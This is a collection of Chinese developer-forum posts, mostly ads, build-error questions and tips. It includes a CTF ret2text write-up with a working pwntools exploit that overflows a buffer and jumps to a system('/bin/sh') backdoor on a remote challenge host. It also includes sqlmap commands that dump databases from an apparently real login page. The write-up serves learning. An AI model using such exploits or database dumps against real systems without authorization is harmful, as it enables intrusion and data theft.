D。
分享免费云服务器

前些天一直在找便宜的云服务器,偶然间发现一免费的云平台,这里推荐给大家。

就是阿贝云,网站是https://www.abeiyun.com

说一下感受

1、阿贝云虽然是一小众的云平台,重在免费,该有的东西都有,还能免备案这是最舒服的。

2、使用了一天,上了项目,网速不慢。

3、唯一要指出来就是磁盘太小。

急切寻求rust编译问题帮助(archlinux, openssl)

拉取了rustbuster的v3.0.3版本文件, 二进制文件无法使用, 执行结果如下:

[root_cn@archlinux target]$ ./rustbuster-v3.0.3-x86_64-unknown-linux-gnu
./rustbuster-v3.0.3-x86_64-unknown-linux-gnu: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory

拉取了main源码, 想自行尝试编译, 然后卡在了openssl, 以下为报错信息:

The following warnings were emitted during compilation:

warning: openssl-sys@0.9.47: build/expando.c:4:24: error: pasting "RUST_VERSION_OPENSSL_" and "(" does not give a valid preprocessing token
warning: openssl-sys@0.9.47:     4 | #define VERSION2(n, v) RUST_VERSION_##n##_##v
warning: openssl-sys@0.9.47:       |                        ^~~~~~~~~~~~~
warning: openssl-sys@0.9.47: build/expando.c:5:23: note: in expansion of macro ‘VERSION2’
warning: openssl-sys@0.9.47:     5 | #define VERSION(n, v) VERSION2(n, v)
warning: openssl-sys@0.9.47:       |                       ^~~~~~~~
warning: openssl-sys@0.9.47: build/expando.c:10:1: note: in expansion of macro ‘VERSION’
warning: openssl-sys@0.9.47:    10 | VERSION(OPENSSL, OPENSSL_VERSION_NUMBER)
warning: openssl-sys@0.9.47:       | ^~~~~~~

error: failed to run custom build command for `openssl-sys v0.9.47`

Caused by:
  process didn't exit successfully: `/mnt/d/work/file/rust/rustbuster/target/debug/build/openssl-sys-c5a482a9e0e49574/build-script-main` (exit status: 101)
  --- stdout
  cargo:rustc-cfg=const_fn
  cargo:rerun-if-env-changed=X86_64_UNKNOWN_LINUX_GNU_OPENSSL_LIB_DIR
  X86_64_UNKNOWN_LINUX_GNU_OPENSSL_LIB_DIR unset
  cargo:rerun-if-env-changed=OPENSSL_LIB_DIR
  OPENSSL_LIB_DIR unset
  cargo:rerun-if-env-changed=X86_64_UNKNOWN_LINUX_GNU_OPENSSL_INCLUDE_DIR
  X86_64_UNKNOWN_LINUX_GNU_OPENSSL_INCLUDE_DIR unset
  cargo:rerun-if-env-changed=OPENSSL_INCLUDE_DIR
  OPENSSL_INCLUDE_DIR unset
  cargo:rerun-if-env-changed=X86_64_UNKNOWN_LINUX_GNU_OPENSSL_DIR
  X86_64_UNKNOWN_LINUX_GNU_OPENSSL_DIR unset
  cargo:rerun-if-env-changed=OPENSSL_DIR
  OPENSSL_DIR unset
  cargo:rustc-link-lib=ssl
  cargo:rustc-link-lib=crypto
  OPT_LEVEL = Some("0")
  TARGET = Some("x86_64-unknown-linux-gnu")
  HOST = Some("x86_64-unknown-linux-gnu")
  CC_x86_64-unknown-linux-gnu = None
  CC_x86_64_unknown_linux_gnu = None
  HOST_CC = None
  CC = None
  CFLAGS_x86_64-unknown-linux-gnu = None
  CFLAGS_x86_64_unknown_linux_gnu = None
  HOST_CFLAGS = None
  CFLAGS = None
  CRATE_CC_NO_DEFAULTS = None
  DEBUG = Some("true")
  CARGO_CFG_TARGET_FEATURE = Some("fxsr,sse,sse2")
  running: "cc" "-O0" "-ffunction-sections" "-fdata-sections" "-fPIC" "-g" "-fno-omit-frame-pointer" "-m64" "-Wall" "-Wextra" "-E" "build/expando.c"
  cargo:warning=build/expando.c:4:24: error: pasting "RUST_VERSION_OPENSSL_" and "(" does not give a valid preprocessing token
  cargo:warning=    4 | #define VERSION2(n, v) RUST_VERSION_##n##_##v
  cargo:warning=      |                        ^~~~~~~~~~~~~
  cargo:warning=build/expando.c:5:23: note: in expansion of macro ‘VERSION2’
  cargo:warning=    5 | #define VERSION(n, v) VERSION2(n, v)
  cargo:warning=      |                       ^~~~~~~~
  cargo:warning=build/expando.c:10:1: note: in expansion of macro ‘VERSION’
  cargo:warning=   10 | VERSION(OPENSSL, OPENSSL_VERSION_NUMBER)
  cargo:warning=      | ^~~~~~~
  exit status: 1

  --- stderr
  thread 'main' panicked at /home/root_cn/.cargo/registry/src/mirrors.sjtug.sjtu.edu.cn-4f7dbcce21e258a2/openssl-sys-0.9.47/build/main.rs:126:13:

  Header expansion error:
  Error { kind: ToolExecError, message: "Command \"cc\" \"-O0\" \"-ffunction-sections\" \"-fdata-sections\" \"-fPIC\" \"-g\" \"-fno-omit-frame-pointer\" \"-m64\" \"-Wall\" \"-Wextra\" \"-E\" \"build/expando.c\" with args \"cc\" did not execute successfully (status code exit status: 1)." }

  Failed to find OpenSSL development headers.

  You can try fixing this setting the `OPENSSL_DIR` environment variable
  pointing to your OpenSSL installation or installing OpenSSL headers package
  specific to your distribution:

      # On Ubuntu
      sudo apt-get install libssl-dev
      # On Arch Linux
      sudo pacman -S openssl
      # On Fedora
      sudo dnf install openssl-devel

  See rust-openssl README for more information:

      https://github.com/sfackler/rust-openssl#linux

  note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
warning: build failed, waiting for other jobs to finish...

经过检查openssl与rust均为最新版本,

[root_cn@archlinux target]$ sudo pacman -S rust
[sudo] password for root_cn:
warning: rust-1:1.77.2-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...

Package (1)  Old Version  New Version  Net Change

extra/rust   1:1.77.2-1   1:1.77.2-1     0.00 MiB

Total Installed Size:  249.41 MiB
Net Upgrade Size:        0.00 MiB

:: Proceed with installation? [Y/n] n
[root_cn@archlinux target]$ sudo pacman -S openssl
warning: openssl-3.2.1-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...

Package (1)   Old Version  New Version  Net Change

core/openssl  3.2.1-1      3.2.1-1        0.00 MiB

Total Installed Size:  11.45 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n] n

在网上找了一下, 查到资料, 在rust-openssl的issues中提到类似报错, 得到解释如下:

If you are cross compiling to MUSL, you either need to point openssl-sys to the location that you have a copy of OpenSSL cross compiled to MUSL, or tell it to build a copy of OpenSSL itself with the vendored feature.

如果你是交叉编译到MUSL,你需要将openssl-sys指向你有一个交叉编译到MUSL的OpenSSL副本的位置,或者告诉它用vendored特性构建一个OpenSSL本身的副本。

由于不会rust, 依靠关键词"交叉编译"+"cargo"搜索到了cargo交叉编译rust程序, 顺着找到文件:

[root_cn@archlinux .cargo]$ cat ~/.cargo/config
[source.crates-io]
replace-with = 'sjtu' # 指定使用下面哪个源,修改为source.后面的内容即可

# 中国科学技术大学
[source.ustc]
registry = "https://mirrors.ustc.edu.cn/crates.io-index"

# 上海交通大学
[source.sjtu]
registry = "https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index/"

# 清华大学
[source.tuna]
registry = "https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git"

# rustcc社区
[source.rustcc]
registry = "https://code.aliyun.com/rustcc/crates.io-index.git"

没有找到交叉编译的设置, 由于本人不会rust, 线索断了, 尝试向大家寻求一波帮助, 非常感谢阅读.

webpon
分享免费GPT4站点

永久免费,无需注册

https://good.xjai.top

【轉貼】ASP.NET Core Developer Roadmap in 2024
斌廷
南京大学研究中心诚募博士后

南京大学数字金融 - 新华报业集团联合诚邀全职博士后!

【研究方向涵盖】

数智传播、数智金融经济、数据金融经济、数智政务、数智监管治理,以及“大数据、大模型、大计算”全新范式等方向理论与实践

【具体研究领域】

包括 Bigdata4SocialScience、AI4SocialScience、LLM4SocialScience、Blockchain4SocialScience,以及先进信息技术融合创新在数智金融经济、数智传播社会、数智健康医疗、数智政务治理中的应用。

【薪资待遇优渥】

年薪可达 30 万人民币左右,另有绩效奖金及江苏省和南京市人才补贴。具体薪资需与HR面议,总收入依据专业背景和技能经验而定(计算机 AI 背景者薪资更优)。

【欢迎学科交叉、专业背景不限】

不限制专业背景,致力于构建一个多元、开放、包容的科研环境,因此,欢迎计算机、软件、大数据、人工智能、区块链、隐私计算、数据安全、数据科学等背景的博士人才,也热切邀请具有人文社科背景的博士加入我们的团队,共同探索信息技术与社会科学的交叉前沿。也欢迎其他编程能力强的理工科博士毕业生(即使没有AI等背景也欢迎)。

【南京大学研究中心】

南京大学研究中心为双院士领军的校级科研和创新平台,详情请见:fintech.nju.edu.cn。

【团队氛围】

学科交叉、理论与实践相结合、国际化视野、行业前沿视角和项目。

【联系我们】

请感兴趣的朋友将个人简历发送至邮箱:blockchainfintech@126.com。

【更多招募】 南京大学研究中心招收硕士生、博士生、博士后、青年教师、研究员,也欢迎访问、客座、联培以及科研助理(有些岗位可兼职或远程合作)等

欢迎加入我们,您将在这个富有挑战性和机遇的环境中,开启广阔的职业发展道路,实现个人价值与学术梦想的双赢!

期待您的加入,携手共创数智未来!

求助can't establish SSL connection.

sqlmap -u "xxxxx.com/#/login" --all --delay 1 --batch --random-agent

[CRITICAL]can't establish SSL connection.

sqlmap -r win.txt --dbs

**

[CRITICAL] anti-CSRF token 'XSRF-TOKEN' can't be found

**

webpon
分享免费GPT4站点

永久免费,无需注册

https://good.xjai.top

999+
能不能成啊

大萨达萨达

钱啊外地人都是大是大非阿是jhkhjkghgfrgfdgd

Suuuunny
无法在微软官方网页登录微软账户

如题,题主的电脑系统为Windows11,今天想要在网页登录微软账户时,却发现刚输入账号密码登录未能跳转,反而直接注销无法登录,请问这是什么原因

新标签页助你重新掌控你的收藏夹

在数字时代,我们的浏览器收藏夹,就如同一个宝库,里面藏着我们曾经因兴趣、工作或学习而保留的无数网站链接。小舒同学,一个浏览器新标签页扩展,帮助您高效地管理这些珍贵的在线资源。通过整洁、直观的界面和强大的功能,通过小舒同学这款强大的浏览器扩展,让您的收藏夹焕发新生。

一键展示管理收藏夹

不需要反复整理和搜索您的主页,小舒同学提供了一种轻松的方法来展示和管理您的收藏夹。通过在新标签页中,将书签以清晰的图形方式呈现,帮助您聚焦真正重要的事情。无论是微软的 Edge、Google 的 Chrome,还是 Mozilla 的 Firefox,都可以实现一步直观整洁地展示管理您的网络财富。

一键展示管理收藏夹

随时随地的同步空间

小舒同学的同步空间可以让您轻松同步收藏夹,通过同步空间功能,不管您是在工作场合的电脑还是在家里的设备,都可以轻松连接,访问您全部的收藏内容。您的内容将被安全地存储与同步,确保您可以在任何时间访问。网络世界的一切都将由您连接统一,不仅能启动哔哩哔哩,更能直接访问您关注的具体内容。

同步空间

网页端

直观且舒适的重组织

小舒同学以流畅和直观的用户体验,帮您重新组织您的在线生活。我们专注于舒适的交互设计,将您的收藏夹以一种对您有意义的方式进行组织。

小舒同学提供各式各样的卡片形式和布局,让您可以完全按照自己的喜好进行自定义。您可以创建个性化的卡片组合,以满足您的独特需求。

重组织

严格隐私保护

小舒同学重视用户的隐私保护,拒绝记录和上传用户数据。在不使用同步空间的情况下,您的收藏夹数据也只在浏览器本地数据中,确保隐私数据的私密性。依托于 Manifest V3,小舒同学严格控制所需权限,保证只加载本地代码,保护用户的安全与私密。

定制个性化新标签页

小舒同学的自由度极高,可以按照用户的喜好进行多种个性化设置。您可以更换壁纸、主题、主题色,甚至可以用自定义 CSS 美化您的标签页。拥有如此高度自定义的新标签页,您的浏览器将成为真正属于您的个性空间。

主题 Fluid

主题 Meteor

主题 Hyper

小舒同学不仅仅是一个简单的收藏夹工具,它改变了我们与网络信息的互动方式,提供了一个更高效、更有组织性的网络生活体验。减少了无谓的折腾,让每一次收藏都变得值得,让每一次浏览都充满发现的喜悦。现在,尝试小舒同学,让您的收藏夹变成您的独特网络资产,发挥它们真正的潜力吧。

webpon
分享免费GPT4站点

永久免费,无需注册

https://nav.xjai.top

Crying_Nights
攻防世界 pwnstack个人解题wp

校队没人打pwn, 没办法自己看能学多少算多少.

文件信息审计

拿到pwn2libc.so.6文件, 先使用filechecksec获取文件信息:


[root_cn@archlinux pwnstack]$ file pwn2

pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped

ELF 64-bit得知属于64位程序.


[root_cn@archlinux pwnstack]$ checksec --file=pwn2

RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE

Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 1 pwn2

检查文件开启了NX(数据执行保护), PIE(代码地址随机化)保护, 但是存在No canary found, 即Canary(栈溢出保护)未开启, 故可以从栈下手, 符合题意.

反编译

使用retdec进行反编译, 拿到pwn2.c文件与pwn2.dsm文件, 其中存在代码如下:


[root_cn@archlinux pwn]$ cat pwn2.c | head -n 46 | tail -n +39

// Address range: 0x40071b - 0x400762

int64_t vuln(void) {

// 0x40071b

int64_t buf; // bp-168, 0x40071b地址

__asm_rep_stosq_memset((char *)&buf, 0, 20); //初始化buf, 设置为0

read(0, &buf, 177);

return 0;

}

可以看到vuln函数中read读取177个字节, buf变量(int64_t)在地址0x40071b处为0xa0, 转十进制即为160, 小于可读取字节, 存在溢出漏洞, 其中buf的大小可以通过汇编语言定位到相应地址进行查询:


[root_cn@archlinux pwn]$ cat pwn2.dsm | head -n 161 | tail -n +158

; function: vuln at 0x40071b -- 0x400762

0x40071b: 55 push rbp

0x40071c: 48 89 e5 mov rbp, rsp

0x40071f: 48 81 ec a0 00 00 00 sub rsp, 0xa0

继续在汇编中可以找到未出现在程序的backdoor函数:


; function: backdoor at 0x400762 -- 0x400778

0x400762: 55 push rbp ; 当前函数地址的寄存器rbp压栈

0x400763: 48 89 e5 mov rbp, rsp ; 栈指针rsp指向栈顶

0x400766: bf 38 08 40 00 mov edi, 0x400838 ; "/bin/sh"

0x40076b: b8 00 00 00 00 mov eax, 0 ; 加法寄存器eax初始化为0

0x400770: e8 fb fd ff ff call 0x400570 <system>

0x400775: 90 nop ;

0x400776: 5d pop rbp ; 弹出rbp栈

0x400777: c3 ret ; 返回主函数

看到"/bin/sh"<system>可知函数已经写入了控制权限, 明显地, 本题为最基本的ret2text类题型.

ret2text

ret2text为最简单的栈溢出利用:

  • 通过栈溢出可以修改call指令保存在栈上的返回地址(指令指针eip的值)

  • 函数以ret声明结束后将eip指向栈顶, 回到主函数

  • 这时可通过栈溢出篡改栈上的指针

  • 新的值代替程序继续执行

  • 通过一定地构造可以控制程序流

个人理解, 不一定对.

目的与EXP

  1. 接下来只需要先输入160个字节填满buf

  2. 然后可以使用pwndbg打断点:


[root_cn@archlinux pwn]$ gdb pwn2

pwndbg> b *0x40071b

pwndbg> r

pwndbg> s

......

不断运行到栈上的值为 0x7fffffffe648 <- 0xa /* '\n' */, 这时候上面的栈为0x7fffffffe648 <- 0x1, 相差8位(大家是不是想起了什么? retdec编译出来时有注释过//bp-168).

  1. 故先写入168(160填满buf变量, 8填充到上一个栈, 应该是这个意思)个字节使指针指向栈顶.

  2. 写入backdoor地址.

以下是EXP工具:

from pwn import *

context.log_level = 'debug'
#io = process("./pwn2")

IP = "61.147.171.105"
port = 60233
io = remote(IP, port)

elf = ELF("./pwn2")
libc = ELF("./libc.so.6")

bp = b'a'*168
backdoor_addr = p64(0x400762)
#64位数字使用p64,32位数字使用p32

io.recv()
io.sendline(bp + backdoor_addr)
io.interactive()
夏时刻
Edge浏览器和谷歌浏览器访问同一个django项目生成的本地地址,谷歌浏览器报302可以正常访问,Edge则报404无法重定向到正确地址

北海之下
预言一波

预言一波,24、25,LLM将会有新架构,完全抛弃T方法的架构

webpon
分享免费GPT4站点

免费GPT4收集站点,建议收藏

https://nav.xjai.top

分享一下我的独立开发产品:简单设计

分享一下我的独立开发产品:简单设计

https://www.jiandan.link

这是一款免费的在线设计工具,图片处理工具,包含封面图片设计,图片压缩、图片裁剪、图片格式转换等功能,良心好用,普通人的设计神器。

产品是用JS写的;

如果你经常需要做图或者处理图片的话,希望这款软件可以帮到你。

大家有什么意见也可以反馈给我噢~

我的邮箱:ove2022@126.com

webpon
分享免费GPT4站点

免费GPT4收集站点,建议收藏

nav.xjai.top

Expector
[C/C++]一种超级快且简洁的log2取整算法

相关文章我以前也发过一次,但是那种写法显然不够简洁,今天意外又发现了一种:

int log_2(int x) {
    float f = x;
    return (*(int*)&f >> 23) - 0x7f;
}

benchmark下来跟以前那种差距不大,下面简单描述一下原理:

根据 IEEE 754,float类型在内存中占32bit,依次存储1bit符号位、8bit阶码和22bit尾数。这里阶码就是我们所需要的,另外既然取以2为底的对数那么真数必然非负,所以符号位可以不考虑,只要进行一次移位操作就可以得到阶码,根据标准阶码减去0x7f就是我们所需。

另外,上面的代码中来回用指针的目的只是把float类型的数据一个比特不动地强制转换到int,如果你认为其不优雅,可以使用以下c++20中新加入的内容实现:

#include <bit>

int log_2(int x) {
    float f = x;
    return (std::bit_cast<int>(f) >> 23) - 127;
}
乌娅聪明蛋
目前想的目标是wb前端开发师(因该或许?不是很确定)

目前再过十来天大二下开学,目前没有什么很擅长的程序语言,但日常做代码经常使用的是python,目前也已经报名四月份的蓝桥杯,是c++/c组的,对目前有点迷茫,其实自身感觉自己基本是囫囵吞枣,啥也不是很理解,前端方面的其实还没开始怎么看网课进行学习,希望可以有人给出明确建议我来干什么,本人不是那种很知道自己因该干什么的类型